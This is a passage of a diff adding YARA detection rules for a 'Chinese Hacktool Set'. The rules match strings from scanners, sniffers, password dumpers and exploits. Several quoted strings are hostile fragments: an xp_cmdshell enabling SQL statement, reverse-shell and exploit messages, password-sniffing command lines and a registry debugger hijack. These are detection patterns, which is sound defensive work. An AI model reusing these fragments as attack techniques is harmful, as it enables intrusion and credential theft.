+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "4582a7c1d499bb96dad8e9b227e9d5de9becdfc2"
+		id = "c77633a7-0c2f-5efa-b58b-635546bfec95"
+	strings:
+		$s1 = "<a href=\"http://www.xfocus.net\">X-Scan</a>" fullword ascii
+		$s2 = "REPORT-ANALYSIS-OF-HOST" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 480KB and all of them
+}
+
+rule Dos_iis7 {
+	meta:
+		description = "Chinese Hacktool Set - file iis7.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "0a173c5ece2fd4ac8ecf9510e48e95f43ab68978"
+		id = "8813b7a2-0d44-5f26-80ab-0f493c09a027"
+	strings:
+		$s0 = "\\\\localhost" fullword ascii
+		$s1 = "iis.run" fullword ascii
+		$s3 = ">Could not connecto %s" fullword ascii
+		$s5 = "WHOAMI" ascii
+		$s13 = "WinSta0\\Default" fullword ascii  /* Goodware String - occured 22 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 140KB and all of them
+}
+
+rule SwitchSniffer {
+	meta:
+		description = "Chinese Hacktool Set - file SwitchSniffer.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "1e7507162154f67dff4417f1f5d18b4ade5cf0cd"
+		id = "6019f042-10ab-5899-8b1b-28b2609e9623"
+	strings:
+		$s0 = "NextSecurity.NET" fullword wide
+		$s2 = "SwitchSniffer Setup" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and all of them
+}
+
+rule dbexpora {
+	meta:
+		description = "Chinese Hacktool Set - file dbexpora.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "b55b007ef091b2f33f7042814614564625a8c79f"
+		id = "43297ce9-60f3-5b69-b7d8-904fffe622fe"
+	strings:
+		$s0 = "SELECT A.USER FROM SYS.USER_USERS A " fullword ascii
+		$s12 = "OCI 8 - OCIDescriptorFree" fullword ascii
+		$s13 = "ORACommand *" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 835KB and all of them
+}
+
+rule SQLCracker {
+	meta:
+		description = "Chinese Hacktool Set - file SQLCracker.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "1aa5755da1a9b050c4c49fc5c58fa133b8380410"
+		id = "7d7ff2cf-81fb-5a04-a97f-577c306137a9"
+	strings:
+		$s0 = "msvbvm60.dll" fullword ascii /* reversed goodware string 'lld.06mvbvsm' */
+		$s1 = "_CIcos" fullword ascii
+		$s2 = "kernel32.dll" fullword ascii
+		$s3 = "cKmhV" fullword ascii
+		$s4 = "080404B0" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 125KB and all of them
+}
+
+rule FreeVersion_debug {
+	meta:
+		description = "Chinese Hacktool Set - file debug.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "d11e6c6f675b3be86e37e50184dadf0081506a89"
+		id = "2d69a39a-0da5-56ca-87a5-9116dea6c950"
+	strings:
+		$s0 = "c:\\Documents and Settings\\Administrator\\" ascii
+		$s1 = "Got WMI process Pid: %d" ascii
+		$s2 = "This exploit will execute" ascii
+		$s6 = "Found token %s " ascii
+		$s7 = "Running reverse shell" ascii
+		$s10 = "wmiprvse.exe" fullword ascii
+		$s12 = "SELECT * FROM IIsWebInfo" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 820KB and 3 of them
+}
+
+rule Dos_look {
+	meta:
+		description = "Chinese Hacktool Set - file look.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "e1a37f31170e812185cf00a838835ee59b8f64ba"
+		id = "910d1469-9173-5a7d-91ea-a50ee921f662"
+	strings:
+		$s1 = "<description>CHKen QQ:41901298</description>" fullword ascii
+		$s2 = "version=\"9.9.9.9\"" fullword ascii
+		$s3 = "name=\"CH.Ken.Tool\"" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 40KB and all of them
+}
+
+rule NtGodMode {
+	meta:
+		description = "Chinese Hacktool Set - file NtGodMode.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "8baac735e37523d28fdb6e736d03c67274f7db77"
+		id = "3de620bf-0405-536b-9f6d-3a7f02417b20"
+	strings:
+		$s0 = "to HOST!" fullword ascii
+		$s1 = "SS.EXE" fullword ascii
+		$s5 = "lstrlen0" fullword ascii
+		$s6 = "Virtual" fullword ascii  /* Goodware String - occured 6 times */
+		$s19 = "RtlUnw" fullword ascii /* Goodware String - occured 1 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 45KB and all of them
+}
+
+rule WebCrack4_RouterPasswordCracking {
+	meta:
+		description = "Chinese Hacktool Set - file WebCrack4-RouterPasswordCracking.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "00c68d1b1aa655dfd5bb693c13cdda9dbd34c638"
+		id = "e3d50ff8-e58d-5c60-9acd-25ba95a21f68"
+	strings:
+		$s0 = "http://www.site.com/test.dll?user=%USERNAME&pass=%PASSWORD" fullword ascii
+		$s1 = "Username: \"%s\", Password: \"%s\", Remarks: \"%s\"" fullword ascii
+		$s14 = "user:\"%s\" pass: \"%s\" result=\"%s\"" fullword ascii
+		$s16 = "Mozilla/4.0 (compatible; MSIE 4.01; Windows NT)" fullword ascii
+		$s20 = "List count out of bounds (%d)+Operation not allowed on sorted string list%String" wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 5000KB and 2 of them
+}
+
+rule hscan_gui {
+	meta:
+		description = "Chinese Hacktool Set - file hscan-gui.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "1885f0b7be87f51c304b39bc04b9423539825c69"
+		id = "27f9d2e9-0a62-57ca-9061-c32945c59c7e"
+	strings:
+		$s0 = "Hscan.EXE" fullword wide
+		$s1 = "RestTool.EXE" fullword ascii
+		$s3 = "Hscan Application " fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 550KB and all of them
+}
+
+rule S_MultiFunction_Scanners_s {
+	meta:
+		description = "Chinese Hacktool Set - file s.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "79b60ffa1c0f73b3c47e72118e0f600fcd86b355"
+		id = "7fb90a59-116d-5fa7-b85b-cbb1af660666"
+	strings:
+		$s0 = "C:\\WINDOWS\\temp\\pojie.exe /l=" fullword ascii
+		$s1 = "C:\\WINDOWS\\temp\\s.exe" fullword ascii
+		$s2 = "C:\\WINDOWS\\temp\\s.exe tcp " fullword ascii
+		$s3 = "explorer.exe http://www.hackdos.com" fullword ascii
+		$s4 = "C:\\WINDOWS\\temp\\pojie.exe" fullword ascii
+		$s5 = "Failed to read file or invalid data in file!" fullword ascii
+		$s6 = "www.hackdos.com" fullword ascii
+		$s7 = "WTNE / MADE BY E COMPILER - WUTAO " fullword ascii
+		$s11 = "The interface of kernel library is invalid!" fullword ascii
+		$s12 = "eventvwr" fullword ascii
+		$s13 = "Failed to decompress data!" fullword ascii
+		$s14 = "NOTEPAD.EXE result.txt" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 8000KB and 4 of them
+}
+
+rule HKTL_CN_Dos_GetPass {
+	meta:
+		description = "Chinese Hacktool Set - file GetPass.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		modified = "2023-01-06"
+		old_rule_name = "Dos_GetPass"
+		hash = "d18d952b24110b83abd17e042f9deee679de6a1a"
+		id = "08635096-474c-5fdf-825e-6c7c8c8d4061"
+	strings:
+		$s0 = "GetLogonS" ascii
+		$s3 = "/showthread.php?t=156643" ascii
+		$s8 = "To Run As Administ" ascii
+		$s18 = "EnableDebugPrivileg" fullword ascii
+		$s19 = "sedebugnameValue" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 890KB and all of them
+}
+
+rule HKTL_CN_update_PcMain {
+   meta:
+      description = "Chinese Hacktool Set - file PcMain.dll"
+      author = "Florian Roth (Nextron Systems)"
+      score = 90
+      reference = "http://tools.zjqhr.com/"
+      date = "2015-06-13"
+      modified = "2023-01-06"
+		old_rule_name = "update_PcMain"
+      hash = "aa68323aaec0269b0f7e697e69cce4d00a949caa"
+      id = "24c9ba6f-0772-59c9-8bea-3a8bf7823e4c"
+   strings:
+      $s0 = "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322" ascii
+      $s1 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SvcHost" fullword ascii
+      $s2 = "SOFTWARE\\Classes\\HTTP\\shell\\open\\command" fullword ascii
+      $s3 = "\\svchost.exe -k " ascii
+      $s4 = "SYSTEM\\ControlSet001\\Services\\%s" fullword ascii
+      $s9 = "Global\\%s-key-event" fullword ascii
+      $s10 = "%d%d.exe" fullword ascii
+      $s14 = "%d.exe" fullword ascii
+      $s15 = "Global\\%s-key-metux" fullword ascii
+      $s18 = "GET / HTTP/1.1" fullword ascii
+      $s19 = "\\Services\\" ascii
+      $s20 = "qy001id=%d;qy001guid=%s" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 500KB and 4 of them
+}
+
+rule HKTL_CN_Dos_sys {
+	meta:
+		description = "Chinese Hacktool Set - file sys.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		modified = "2023-01-06"
+		old_rule_name = "Dos_sys"
+		hash = "b5837047443f8bc62284a0045982aaae8bab6f18"
+		id = "c4b740f2-f4f8-59ff-ad1f-c06718040b50"
+	strings:
+		$s0 = "'SeDebugPrivilegeOpen " fullword ascii
+		$s6 = "Author: Cyg07*2" fullword ascii
+		$s12 = "from golds7n[LAG]'J" fullword ascii
+		$s14 = "DAMAGE" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 150KB and all of them
+}
+
+rule HKTL_CN_dat_xpf {
+	meta:
+		description = "Chinese Hacktool Set - file xpf.sys"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		modified = "2023-01-06"
+		old_rule_name = "dat_xpf"
+		hash = "761125ab594f8dc996da4ce8ce50deba49c81846"
+		id = "fe2de535-4f86-5c29-b67e-153423a897f7"
+	strings:
+		$s1 = "UnHook IoGetDeviceObjectPointer ok!" fullword ascii
+		$s2 = "\\Device\\XScanPF" wide
+		$s3 = "\\DosDevices\\XScanPF" wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 25KB and all of them
+}
+
+rule HKTL_CN_Project1 {
+	meta:
+		description = "Chinese Hacktool Set - file Project1.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		modified = "2023-01-06"
+		old_rule_name = "Project1"
+		hash = "d1a5e3b646a16a7fcccf03759bd0f96480111c96"
+		id = "12cc7a82-d7a9-58c6-b283-3bb0df477cd8"
+	strings:
+		$s1 = "EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'" fullword ascii
+		$s2 = "Password.txt" fullword ascii
+		$s3 = "LoginPrompt" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 5000KB and all of them
+}
+
+rule Arp_EMP_v1_0 {
+	meta:
+		description = "Chinese Hacktool Set - file Arp EMP v1.0.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "ae4954c142ad1552a2abaef5636c7ef68fdd99ee"
+		id = "b2552f26-47ac-5fa0-941e-d674f9deccac"
+	strings:
+		$s0 = "Arp EMP v1.0.exe" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 800KB and all of them
+}
+
+rule CN_Tools_MyUPnP {
+	meta:
+		description = "Chinese Hacktool Set - file MyUPnP.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "15b6fca7e42cd2800ba82c739552e7ffee967000"
+		id = "394e19d3-882e-5a7c-a3a0-e662bd67955c"
+	strings:
+		$s1 = "<description>BYTELINKER.COM</description>" fullword ascii
+		$s2 = "myupnp.exe" fullword ascii
+		$s3 = "LOADER ERROR" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1500KB and all of them
+}
+
+rule CN_Tools_Shiell {
+	meta:
+		description = "Chinese Hacktool Set - file Shiell.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "b432d80c37abe354d344b949c8730929d8f9817a"
+		id = "7ac7d79d-3f4e-54e7-bb97-ce94cbbb40a2"
+	strings:
+		$s1 = "C:\\Users\\Tong\\Documents\\Visual Studio 2012\\Projects\\Shift shell" ascii
+		$s2 = "C:\\Windows\\System32\\Shiell.exe" fullword wide
+		$s3 = "Shift shell.exe" fullword wide
+		$s4 = "\" /v debugger /t REG_SZ /d \"" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1500KB and 2 of them
+}
+
+rule cndcom_cndcom {
+	meta:
+		description = "Chinese Hacktool Set - file cndcom.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "08bbe6312342b28b43201125bd8c518531de8082"
+		id = "b1acfe34-03b8-5909-a226-3325fe8629ab"
+	strings:
+		$s1 = "- Rewritten by HDM last <hdm [at] metasploit.com>" fullword ascii
+		$s2 = "- Usage: %s <Target ID> <Target IP>" fullword ascii
+		$s3 = "- Remote DCOM RPC Buffer Overflow Exploit" fullword ascii
+		$s4 = "- Warning:This Code is more like a dos tool!(Modify by pingker)" fullword ascii
+		$s5 = "Windows NT SP6 (Chinese)" fullword ascii
+		$s6 = "- Original code by FlashSky and Benjurry" fullword ascii
+		$s7 = "\\C$\\123456111111111111111.doc" wide
+		$s8 = "shell3all.c" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 2 of them
+}
+
+rule IsDebug_V1_4 {
+	meta:
+		description = "Chinese Hacktool Set - file IsDebug V1.4.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "ca32474c358b4402421ece1cb31714fbb088b69a"
+		id = "f9b4a909-e0e5-5708-8794-39250b9d56cc"
+	strings:
+		$s0 = "IsDebug.dll" fullword ascii
+		$s1 = "SV Dumper V1.0" fullword wide
+		$s2 = "(IsDebuggerPresent byte Patcher)" fullword ascii
+		$s8 = "Error WriteMemory failed" fullword ascii
+		$s9 = "IsDebugPresent" fullword ascii
+		$s10 = "idb_Autoload" fullword ascii
+		$s11 = "Bin Files" fullword ascii
+		$s12 = "MASM32 version" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 30KB and all of them
+}
+
+rule HTTPSCANNER {
+	meta:
+		description = "Chinese Hacktool Set - file HTTPSCANNER.EXE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "ae2929346944c1ea3411a4562e9d5e2f765d088a"
+		id = "470c90f5-bb98-59ab-bff4-f6238c318e36"
+	strings:
+		$s1 = "HttpScanner.exe" fullword wide
+		$s2 = "HttpScanner" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3500KB and all of them
+}
+
+rule HScan_v1_20_PipeCmd {
+	meta:
+		description = "Chinese Hacktool Set - file PipeCmd.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "64403ce63b28b544646a30da3be2f395788542d6"
+		id = "957a8e3b-5f6c-5f3e-8973-88259c9cb0dc"
+	strings:
+		$s1 = "%SystemRoot%\\system32\\PipeCmdSrv.exe" fullword ascii
+		$s2 = "PipeCmd.exe" fullword wide
+		$s3 = "Please Use NTCmd.exe Run This Program." fullword ascii
+		$s4 = "%s\\pipe\\%s%s%d" fullword ascii
+		$s5 = "\\\\.\\pipe\\%s%s%d" fullword ascii
+		$s6 = "%s\\ADMIN$\\System32\\%s%s" fullword ascii
+		$s7 = "This is a service executable! Couldn't start directly." fullword ascii
+		$s8 = "Connecting to Remote Server ...Failed" fullword ascii
+		$s9 = "PIPECMDSRV" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and 4 of them
+}
+
+rule Dos_fp {
+	meta:
+		description = "Chinese Hacktool Set - file fp.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "41d57d356098ff55fe0e1f0bcaa9317df5a2a45c"
+		id = "f4427aab-50c3-5bb9-997a-75e162a83f8a"
+	strings:
+		$s1 = "fpipe -l 53 -s 53 -r 80 192.168.1.101" fullword ascii
+		$s2 = "FPipe.exe" fullword wide
+		$s3 = "http://www.foundstone.com" fullword ascii
+		$s4 = "%s %s port %d. Address is already in use" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 65KB and all of them
+}
+
+rule Dos_netstat {
+	meta:
+		description = "Chinese Hacktool Set - file netstat.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "d0444b7bd936b5fc490b865a604e97c22d97e598"
+		id = "bc3141bf-4e82-5aa4-a8a6-a0a4586ee9a1"
+	strings:
+		$s0 = "w03a2409.dll" fullword ascii
+		$s1 = "Retransmission Timeout Algorithm    = unknown (%1!u!)" fullword wide  /* Goodware String - occured 2 times */
+		$s2 = "Administrative Status  = %1!u!" fullword wide  /* Goodware String - occured 2 times */
+		$s3 = "Packet Too Big            %1!-10u!  %2!-10u!" fullword wide  /* Goodware String - occured 2 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 150KB and all of them
+}
+
+rule CN_Tools_xsniff {
+	meta:
+		description = "Chinese Hacktool Set - file xsniff.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "d61d7329ac74f66245a92c4505a327c85875c577"
+		id = "a0fdac88-a7b8-5d24-9012-2bfe7b07e675"
+	strings:
+		$s0 = "xsiff.exe -pass -hide -log pass.log" fullword ascii
+		$s1 = "HOST: %s USER: %s, PASS: %s" fullword ascii
+		$s2 = "xsiff.exe -tcp -udp -asc -addr 192.168.1.1" fullword ascii
+		$s10 = "Code by glacier <glacier@xfocus.org>" fullword ascii
+		$s11 = "%-5s%s->%s Bytes=%d TTL=%d Type: %d,%d ID=%d SEQ=%d" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 220KB and 2 of them
+}
+
+rule MSSqlPass {
+	meta:
+		description = "Chinese Hacktool Set - file MSSqlPass.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "172b4e31ed15d1275ac07f3acbf499daf9a055d7"
+		id = "d45b417f-3649-5603-bd19-8b8bcc19dabc"
+	strings:
+		$s0 = "Reveals the passwords stored in the Registry by Enterprise Manager of SQL Server" wide
+		$s1 = "empv.exe" fullword wide
+		$s2 = "Enterprise Manager PassView" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 120KB and all of them
+}
+
+rule WSockExpert {
+	meta:
+		description = "Chinese Hacktool Set - file WSockExpert.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "2962bf7b0883ceda5e14b8dad86742f95b50f7bf"
+		id = "0ae115be-c516-5f4a-97ce-555d84f42947"
+	strings:
+		$s1 = "OpenProcessCmdExecute!" fullword ascii
+		$s2 = "http://www.hackp.com" fullword ascii
+		$s3 = "'%s' is not a valid time!'%s' is not a valid date and time" fullword wide
+		$s4 = "SaveSelectedFilterCmdExecute" fullword ascii
+		$s5 = "PasswordChar@" fullword ascii
+		$s6 = "WSockHook.DLL" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2500KB and 4 of them
+}
+
+rule Ms_Viru_racle {
+	meta:
+		description = "Chinese Hacktool Set - file racle.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "13116078fff5c87b56179c5438f008caf6c98ecb"
+		id = "bdc78dcc-79e6-5516-bba2-54bf537eae38"
+	strings:
+		$s0 = "PsInitialSystemProcess @%p" fullword ascii
+		$s1 = "PsLookupProcessByProcessId(%u) Failed" fullword ascii
+		$s2 = "PsLookupProcessByProcessId(%u) => %p" fullword ascii
+		$s3 = "FirstStage() Loaded, CurrentThread @%p Stack %p - %p" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 210KB and all of them
+}
+
+rule lamescan3 {
+	meta:
+		description = "Chinese Hacktool Set - file lamescan3.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "3130eefb79650dab2e323328b905e4d5d3a1d2f0"
+		id = "8ff1a0e6-d054-589d-a038-f889951ba250"
+	strings:
+		$s1 = "dic\\loginlist.txt" fullword ascii
+		$s2 = "Radmin.exe" fullword ascii
+		$s3 = "lamescan3.pdf!" fullword ascii
+		$s4 = "dic\\passlist.txt" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3740KB and all of them
+}
+
+rule CN_Tools_pc {
+	meta:
+		description = "Chinese Hacktool Set - file pc.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "5cf8caba170ec461c44394f4058669d225a94285"
+		id = "11cc6c46-33c0-5c53-88f8-700be9ca8add"
+	strings:
+		$s0 = "\\svchost.exe" ascii
+		$s2 = "%s%08x.001" fullword ascii
+		$s3 = "Qy001Service" fullword ascii
+		$s4 = "/.MIKY" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule Dos_Down64 {
+	meta:
+		description = "Chinese Hacktool Set - file Down64.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "43e455e43b49b953e17a5b885ffdcdf8b6b23226"
+		id = "b4907ede-dc6a-5b8c-bf1c-557df54191a4"
+	strings:
+		$s1 = "C:\\Windows\\Temp\\Down.txt" fullword wide
+		$s2 = "C:\\Windows\\Temp\\Cmd.txt" fullword wide
+		$s3 = "C:\\Windows\\Temp\\" wide
+		$s4 = "ProcessXElement" fullword ascii
+		$s8 = "down.exe" fullword wide
+		$s20 = "set_Timer1" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 150KB and all of them
+}
+
+rule epathobj_exp32 {
+	meta:
+		description = "Chinese Hacktool Set - file epathobj_exp32.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		modified = "2022-12-21"
+		hash = "ed86ff44bddcfdd630ade8ced39b4559316195ba"
+		id = "ca4639af-ee4f-5220-9595-e7a06b9a8534"
+	strings:
+		$s0 = "Watchdog thread %d waiting on Mutex" fullword ascii
+		$s1 = "Exploit ok run command" fullword ascii
+		$s2 = "\\epathobj_exp\\Release\\epathobj_exp.pdb" ascii
+		$s3 = "Alllocated userspace PATHRECORD () %p" fullword ascii
+		$s4 = "Mutex object did not timeout, list not patched" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 270KB and all of them
+}
+
+rule Tools_unknown {
+	meta:
+		description = "Chinese Hacktool Set - file unknown.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "4be8270c4faa1827177e2310a00af2d5bcd2a59f"
+		id = "2cb75a84-506d-5b67-8b1f-b91beb5a99a3"
+	strings:
+		$s1 = "No data to read.$Can not bind in port range (%d - %d)" fullword wide
+		$s2 = "GET /ok.asp?id=1__sql__ HTTP/1.1" fullword ascii
+		$s3 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" fullword ascii /* PEStudio Blacklist: agent */
+		$s4 = "Failed to clear tab control Failed to delete tab at index %d\"Failed to retrieve" wide
+		$s5 = "Host: 127.0.0.1" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2500KB and 4 of them
+}
+
+rule PLUGIN_AJunk {
+	meta:
+		description = "Chinese Hacktool Set - file AJunk.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "eb430fcfe6d13b14ff6baa4b3f59817c0facec00"
+		id = "af92d01d-5e24-52f7-934a-0ad102fc7a93"
+	strings:
+		$s1 = "AJunk.dll" fullword ascii
+		$s2 = "AJunk.DLL" fullword wide
+		$s3 = "AJunk Dynamic Link Library" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 560KB and all of them
+}
+
+rule IISPutScanner {
+	meta:
+		description = "Chinese Hacktool Set - file IISPutScanner.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "9869c70d6a9ec2312c749aa17d4da362fa6e2592"
+		id = "699ee45d-c842-56eb-b55b-12a91e815a7b"
+	strings:
+		$s2 = "KERNEL32.DLL" fullword ascii
+		$s3 = "ADVAPI32.DLL" fullword ascii
+		$s4 = "VERSION.DLL" fullword ascii
+		$s5 = "WSOCK32.DLL" fullword ascii
+		$s6 = "COMCTL32.DLL" fullword ascii
+		$s7 = "GDI32.DLL" fullword ascii
+		$s8 = "SHELL32.DLL" fullword ascii
+		$s9 = "USER32.DLL" fullword ascii
+		$s10 = "OLEAUT32.DLL" fullword ascii
+		$s11 = "LoadLibraryA" fullword ascii
+		$s12 = "GetProcAddress" fullword ascii
+		$s13 = "VirtualProtect" fullword ascii
